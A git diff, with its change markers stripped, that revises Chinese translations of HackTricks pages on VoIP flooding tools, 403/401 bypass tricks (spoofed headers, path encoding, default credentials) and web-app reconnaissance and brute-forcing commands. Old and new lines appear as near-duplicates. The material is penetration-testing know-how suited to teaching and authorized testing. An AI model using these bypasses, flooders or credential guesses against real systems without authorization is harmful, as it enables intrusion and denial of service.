* **`SIPPTS ping`**来自[**sippts**](https://github.com/Pepelux/sippts)**SIPPTS ping进行SIP ping以查看服务器响应时间。
* **`SIPPTS ping`** 来自 [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS ping 进行 SIP ping 以查看服务器响应时间。
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX 协议用于 Asterisk。
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一个用于在UDP/IP上执行SIP/SDP INVITE消息洪水的工具。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式良好的RTP数据包。需要知道正在使用的RTP端口(先嗅探)。
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 一种在 UDP/IP 上执行 SIP/SDP INVITE 消息洪水的工具。
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): 发送多个格式正确的 RTP 数据包。需要知道正在使用的 RTP 端口(先嗅探)。
* [**SIPp**](https://github.com/SIPp/sipp): 允许分析和生成 SIP 流量,因此也可以用于 DoS。
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP 瑞士军刀。也可以用于执行 SIP 攻击。
* 模糊测试工具[**protos-sip**](https://www.kali.org/tools/protos-sip/)[**voiper**](https://github.com/gremwell/voiper)。
* 模糊测试工具: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper)。
### 操作系统漏洞
安装像Asterisk这样的软件最简单的方法是下载一个已经安装了它的**操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能**不会再更新它们**,而**漏洞**会随着时间的推移被发现。
安装像 Asterisk 这样的软件最简单的方法是下载一个已经安装了它的 **操作系统发行版**,例如:**FreePBX、Elastix、Trixbox**... 这些的一个问题是,一旦它工作,系统管理员可能 **不会再更新它们**,并且 **漏洞** 会随着时间的推移被发现。
## 参考文献
@ -642,14 +642,14 @@ There is command called **`Shell`** that could be used **instead of `System`** t
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
学习和实践AWS黑客攻击<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客攻击<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践 AWS 黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的Web应用程序、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面找到让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -658,8 +658,8 @@ There is command called **`Shell`** that could be used **instead of `System`** t
<summary>支持 HackTricks</summary>
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord小组**](https://discord.gg/hRep4RUj7f)或[**电报小组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,查找允许您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -27,13 +27,13 @@
尝试使用 **不同的动词** 访问文件:`GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应**`Content-Length: 55` 意味着 **HEAD 动词可以访问信息**。但您仍然需要找到一种方法来提取该信息。
* 使用 HTTP 头如 `X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
* 检查响应头,可能会提供一些信息。例如,**HEAD 的 200 响应**,带有 `Content-Length: 55`意味着 **HEAD 动词可以访问信息**。但您仍然需要找到一种方法来提取该信息。
* 使用 HTTP 头`X-HTTP-Method-Override: PUT` 可以覆盖所使用的动词。
* 使用 **`TRACE`** 动词,如果您非常幸运,可能在响应中也可以看到 **中间代理添加的头**,这可能会很有用。
## HTTP 头模糊测试
* **更改 Host 头** 为某个任意值 ([这里有效](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* **更改 Host 头** 为某个任意值 ([这里有效](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* 尝试 [**使用其他用户代理**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) 访问资源。
* **模糊测试 HTTP 头**:尝试使用 HTTP 代理 **头**、HTTP 基本身份验证和 NTLM 暴力破解(仅使用少量组合)及其他技术。为此,我创建了工具 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass)。
@ -51,21 +51,21 @@
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
如果 **路径受到保护**,您可以尝试使用这些其他头绕过路径保护:
如果 **路径受到保护**,您可以尝试使用这些其他头绕过路径保护:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* 如果页面在 **代理后面**,可能是代理阻止您访问私人信息。尝试利用 [**HTTP 请求走私**](../../pentesting-web/http-request-smuggling/) **或** [**逐跳头**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
* 模糊测试 [**特殊 HTTP 头**](special-http-headers.md) 寻找不同的响应。
* **在模糊测试 HTTP 方法时模糊测试特殊 HTTP 头**
* **除 Host 头**,也许您将能够绕过保护。
* **除 Host 头**,也许您将能够绕过保护。
## 路径 **模糊测试**
如果 _/path_ 被阻止:
* 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path双重 URL 编码)
* 尝试 **Unicode 绕过** _/**%ef%bc%8f**path_URL 编码字符类似于 "/"),因此当重新编码时将变为 _//path_,也许您已经绕过了 _/path_ 名称检查
* 尝试使用 _**/**_**%2e/path \_(如果访问被代理阻止,这可能绕过保护)。也尝试**\_\*\* /%252e\*\*/path双重 URL 编码)
* 尝试 **Unicode 绕过**_/**%ef%bc%8f**path_URL 编码字符类似于 "/"),因此当重新编码时,它将变为 _//path_,也许您已经绕过了 _/path_ 名称检查
* **其他路径绕过**
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
@ -95,25 +95,25 @@
* 更改 **参数值**:从 **`id=123` --> `id=124`**
* 向 URL 添加额外参数:`?`**`id=124` —-> `id=124&isAdmin=true`**
* 除参数
* 除参数
* 重新排序参数
* 使用特殊字符。
* 在参数中执行边界测试 — 提供值如 _-234__0__99999999_(仅为一些示例值)。
## **协议版本**
如果使用 HTTP/1.1 **尝试使用 1.0**甚至测试是否 **支持 2.0**
如果使用 HTTP/1.1 **尝试使用 1.0**甚至测试是否 **支持 2.0**
## **其他绕过**
* 获取域的 **IP****CNAME** 并尝试 **直接联系** 它。
* 尝试 **给服务器施加压力** 发送常见的 GET 请求 ([这对这个人和 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* 尝试 **给服务器施加压力**,发送常见的 GET 请求 ([这个人用 Facebook 有效](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125))
* **更改协议**:从 http 到 https或从 https 到 http
* 访问 [**https://archive.org/web/**](https://archive.org/web/) 并检查过去该文件是否 **全球可访问**
## **暴力破解**
* **猜测密码**:测试以下常见凭据。您对受害者了解多少?或者 CTF 挑战的名称是什么
* **猜测密码**:测试以下常见凭据。您对受害者了解些什么?或者 CTF 挑战的名称
* [**暴力破解**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 尝试基本、摘要和 NTLM 身份验证。
{% code title="常见凭据" %}
@ -134,21 +134,21 @@ guest guest
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
* [Burp 扩展 - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
**发现并报告具有实际商业影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面查找让您提升权限的安全问题,并使用自动化漏洞收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %}
学习和实践 AWS 黑客攻击:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客攻击:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
学习和实践AWS黑客攻击<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客攻击<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -156,7 +156,7 @@ guest guest
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR来分享黑客技巧。
</details>
{% endhint %}

View file

@ -10,16 +10,16 @@
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 从黑客的角度看待您的网络应用、网络和云
**从黑客的角度看待您的网络应用、网络和云**
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
**查找并报告具有实际商业影响的关键可利用漏洞。** 使用我们 20 多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化漏洞利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -67,7 +67,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
### Identify
检查正在运行的服务器**版本**是否存在**已知漏洞**。\
检查正在运行的服务器**版本**是否**已知漏洞**。\
**HTTP响应的头部和cookie**可能非常有用,以**识别**所使用的**技术**和/或**版本**。**Nmap扫描**可以识别服务器版本,但工具[**whatweb**](https://github.com/urbanadventurer/WhatWeb)**、**[**webtech**](https://github.com/ShielderSec/webtech)或[**https://builtwith.com/**](https://builtwith.com)**也可能有用:**
```bash
whatweb -a 1 <URL> #Stealthy
@ -75,7 +75,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-and-resources/search-exploits.md)
Search **for** [**web应用程序版本的漏洞**](../../generic-methodologies-and-resources/search-exploits.md)
### **检查是否有WAF**
@ -85,7 +85,7 @@ Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-
### Web技术技巧
一些**技巧**用于**查找不同知名技术**中的**漏洞**
一些**技巧**用于**查找**不同知名**技术**中的**漏洞**
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
* [**Apache**](apache.md)
@ -119,16 +119,16 @@ Search **for** [**web应用程序的漏洞版本**](../../generic-methodologies-
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS到RCE)**](electron-desktop-apps/)
_请注意**同一域**可能在不同的**端口**、**文件夹**和**子域**中使用**不同技术**。_\
如果web应用程序使用任何知名的**技术/平台**或**其他任何技术**,请不要忘记**在互联网上搜索**新技巧(并告诉我!)。
_请注意**同一域**可能在不同的**端口**、**文件夹**和**子域**中使用**不同技术**。_\
如果web应用程序使用任何知名的**技术/平台**或**其他**,请不要忘记**在互联网上搜索**新技巧(并告诉我!)。
### 源代码审查
如果应用程序的**源代码**在**github**上可用,除了进行**自己的白盒测试**外,还有**一些信息**可能对当前的**黑盒测试**是**有用的**
如果应用程序的**源代码**在**github**上可用,除了进行**自己的白盒测试**外,还有**一些信息**可能对当前的**黑盒测试**有**用**
* 是否有**变更日志或自述文件或版本**文件或任何带有**版本信息的可通过网络访问的内容?
* **凭据**是如何保存的?是否有任何(可访问的?)**文件**包含凭据(用户名或密码)?
* **密码**是**明文**、**加密**还是使用了哪种**哈希算法**
* **密码**是**明文**、**加密**还是使用了哪种**哈希算法**
* 是否使用任何**主密钥**来加密某些内容?使用了哪种**算法**
* 你能否通过利用某个漏洞**访问这些文件**
* 在github中是否有任何**有趣的信息**(已解决和未解决的)**问题**?或者在**提交历史**中(也许某个**密码在旧提交中引入**
@ -153,7 +153,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
如果使用了 CMS别忘了 **运行扫描器**,也许会发现一些有价值的信息:
如果使用了 CMS不要忘记 **运行扫描器**,也许会发现一些有价值的信息:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** 网站的安全问题。 (GUI)\
@ -166,11 +166,11 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 在这一点上您应该已经获得了一些关于客户使用的网络服务器的信息如果提供了任何数据以及在测试期间需要记住的一些技巧。如果您运气好您甚至找到了一个CMS并运行了一些扫描器。
> 在这一点上,您应该已经获得了一些关于客户使用的网络服务器的信息如果提供了任何数据以及在测试期间需要记住的一些技巧。如果您运气好您甚至找到了一个CMS并运行了一些扫描器。
## 逐步网络应用发现
## 逐步Web应用程序发现
> 从这一点开始,我们将开始与网络应用程序进行交互。
> 从这一点开始,我们将开始与Web应用程序进行交互。
### 初始检查
@ -197,7 +197,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
如果您发现**WebDav**已**启用**但您没有足够的权限在根文件夹中**上传文件**,请尝试:
* **暴力破解**凭据
* 通过WebDav将**文件上传**到网页中**找到的其他文件夹**。您可能有权限在其他文件夹中上传文件。
* 通过WebDav向**网页内找到的其他文件夹**上传文件。您可能有权限在其他文件夹中上传文件。
### **SSL/TLS漏洞**
@ -220,10 +220,10 @@ sslyze --regular <ip:port>
### 爬虫
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部源来找到尽可能多的有效路径。
在网络中启动某种**爬虫**。爬虫的目标是**尽可能多地找到**被测试应用程序的路径。因此,应使用网络爬虫和外部源来找到尽可能多的有效路径。
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫JS文件中的LinkFinder和外部Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫带有JS文件的LinkFinder和Archive.org作为外部源。
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML爬虫JS文件中的LinkFinder和外部Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML爬虫带有JS文件的LinkFinder和Archive.org作为外部源。
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML爬虫也指示“美味文件”。
* [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式CLI HTML爬虫。它还在Archive.org中搜索。
* [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是爬虫但可能有用。您只需指示一个包含主机的文件和一个包含路径的文件meg将获取每个主机上的每个路径并保存响应。
@ -237,7 +237,7 @@ sslyze --regular <ip:port>
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件HTML它将使用巧妙的正则表达式从丑陋压缩文件中提取相对URL。
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, 多个工具): 使用多个工具从JS文件中收集有趣的信息。
* [**subjs**](https://github.com/lc/subjs) (go): 查找JS文件。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面的所有URL。
* [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在无头浏览器中加载页面并打印出加载页面所需的所有URL。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,结合了之前工具的多个选项。
* [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个Burp扩展用于查找JS文件中的路径和参数。
* [**Sourcemapper**](https://github.com/denandz/sourcemapper): 一个工具,给定.js.map URL将获取美化的JS代码。
@ -252,17 +252,17 @@ sslyze --regular <ip:port>
### 暴力破解目录和文件
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**发现的所有目录(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
从根文件夹开始**暴力破解**,确保使用**此方法**暴力破解**所有找到的**目录,以及通过**爬虫**(您可以递归地进行此暴力破解,并在使用的字典开头附加找到的目录名称)。\
工具:
* **Dirb** / **Dirbuster** - 包含在Kali中**旧****慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
* **Dirb** / **Dirbuster** - 包含在Kali中**旧****慢**)但功能正常。允许自动签名证书和递归搜索。与其他选项相比太慢。
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许自动签名证书,但**允许递归搜索。
* [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许自动签名证书,但**没有** **递归**搜索。
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): 这不是一个爬虫而是一个工具给定找到的URL列表将删除“重复”的URL。
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展从不同页面的burp历史记录中创建目录列表。
* [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp扩展从不同页面的burp历史中创建目录列表。
* [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 删除具有重复功能的URL基于js导入
* [**Chamaleon**](https://github.com/iustin24/chameleon): 它使用wapalyzer检测使用的技术并选择要使用的字典。
@ -289,36 +289,36 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
### 检查每个找到的文件
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断这些链接可能容易被接管。
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 查找HTML中的断链可能容易被接管。
* **文件备份**: 一旦找到所有文件,查找所有可执行文件的备份("_.php_", "_.aspx_"...。备份命名的常见变体有_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp和file.old._ 您还可以使用工具[**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **发现新参数**: 您可以使用[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行的Web文件中搜索**隐藏参数。
* **发现新参数**: 您可以使用工具如[**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **来发现隐藏参数。如果可以,您可以尝试在每个可执行网页文件中搜索**隐藏参数。
* _Arjun所有默认字典:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
* _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
* **评论:** 检查所有文件的评论,您可以找到**凭据**或**隐藏功能**。
* 如果您正在进行**CTF**,一个“常见”技巧是**隐藏****信息**在页面的**右侧**的评论中(使用**数百个**空格,以便在使用浏览器打开源代码时看不到数据)。另一种可能性是在网页的**底部**使用**多个新行**并在评论中**隐藏信息**。
* 如果您在进行**CTF**,一个“常见”技巧是在**页面**的**右侧**(使用**数百个**空格,以便在浏览器中打开源代码时看不到数据)**隐藏** **信息**。另一种可能性是在网页底部使用**多个新行**并在评论中**隐藏信息**。
* **API密钥**: 如果您**找到任何API密钥**有指南指示如何使用不同平台的API密钥[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
* Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik的API密钥您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)检查该密钥可以访问哪些API。
* Google API密钥: 如果您找到任何看起来像**AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik的API密钥您可以使用项目[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)检查该密钥可以访问哪些API。
* **S3存储桶**: 在爬虫过程中查看是否有任何**子域**或任何**链接**与某些**S3存储桶**相关。在这种情况下,[**检查**存储桶的**权限**](buckets/)。
### 特殊发现
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣**的**事物**,您需要**注意**。
**在**执行**爬虫**和**暴力破解**时,您可能会发现**有趣的** **事物**,您需要**注意**。
**有趣的文件**
* 查找**CSS**文件中指向其他文件的**链接**。
* [如果您找到一个_**.git**_文件可以提取一些信息](git.md)
* 如果您找到一个_**.env**_可以找到诸如API密钥、数据库密码和其他信息。
* 如果您找到一个_**.env**_文件可以找到API密钥、数据库密码和其他信息。
* 如果您找到**API端点**,您[也应该测试它们](web-api-pentesting.md)。这些不是文件,但可能“看起来像”它们。
* **JS文件**: 在爬虫部分提到了一些可以从JS文件中提取路径的工具。此外监控每个找到的JS文件也很有趣因为在某些情况下变化可能表明代码中引入了潜在的漏洞。您可以使用例如[**JSMon**](https://github.com/robre/jsmon)**.**
* 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件以查是否存在漏洞。
* **JavaScript去混淆和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **JavaScript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck混淆** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* 您还应该使用[**RetireJS**](https://github.com/retirejs/retire.js/)或[**JSHole**](https://github.com/callforpapers-source/jshole)检查发现的JS文件以查看它是否存在漏洞。
* **Javascript反混淆器和解包器:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
* **Javascript美化器:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
* **JsFuck混淆** (javascript with chars:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/))
* [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
* 在多个场合,您需要**理解使用的正则表达式**,这将很有用[https://regex101.com/](https://regex101.com)
* 在多个场合,您需要**理解使用的正则表达式**,这将很有用: [https://regex101.com/](https://regex101.com)
* 您还可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明潜在的新漏洞功能。
**403 Forbidden/Basic Authentication/401 Unauthorized (绕过)**
@ -334,22 +334,22 @@ _注意在暴力破解或爬虫过程中发现新目录时应进行暴力
**NTLM认证 - 信息泄露**
如果运行的服务器要求身份验证是**Windows**或您发现一个登录要求您的**凭据**(并要求**域名**),您可以引发**信息泄露**。\
